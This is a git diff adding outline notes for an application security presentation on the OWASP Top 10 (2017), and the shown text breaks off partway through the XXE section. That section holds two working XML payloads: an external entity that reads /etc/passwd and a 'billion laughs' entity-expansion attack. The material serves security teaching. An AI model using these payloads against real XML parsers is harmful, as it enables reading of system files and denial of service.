diff options
| -rw-r--r-- | presentation.txt | 68 |
1 files changed, 68 insertions, 0 deletions
diff --git a/presentation.txt b/presentation.txt new file mode 100644 index 0000000..22e4ded --- /dev/null +++ b/presentation.txt @@ -0,0 +1,68 @@ +Application security + +What is application security and why is it important? + +Most common application vulnerabilities (OWASP TOP 10) + +A1:2017 - Injection + +A2:2017 - Broken Authentication + +A3:2017 - Sensitive Data Exposure + +A4:2017 - XML External Entities (XXE) + +<?xml version="1.0" encoding="utf-8"?> +<!DOCTYPE foo [ + <!ENTITY xxe SYSTEM "file:///etc/passwd"> +]> +<foo>&xxe;</foo> + +<?xml version="1.0"?> +<!DOCTYPE lolz [ + <!ENTITY lol "lol"> + <!ELEMENT lolz (#PCDATA)> + <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> + <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> + <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> + <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&l |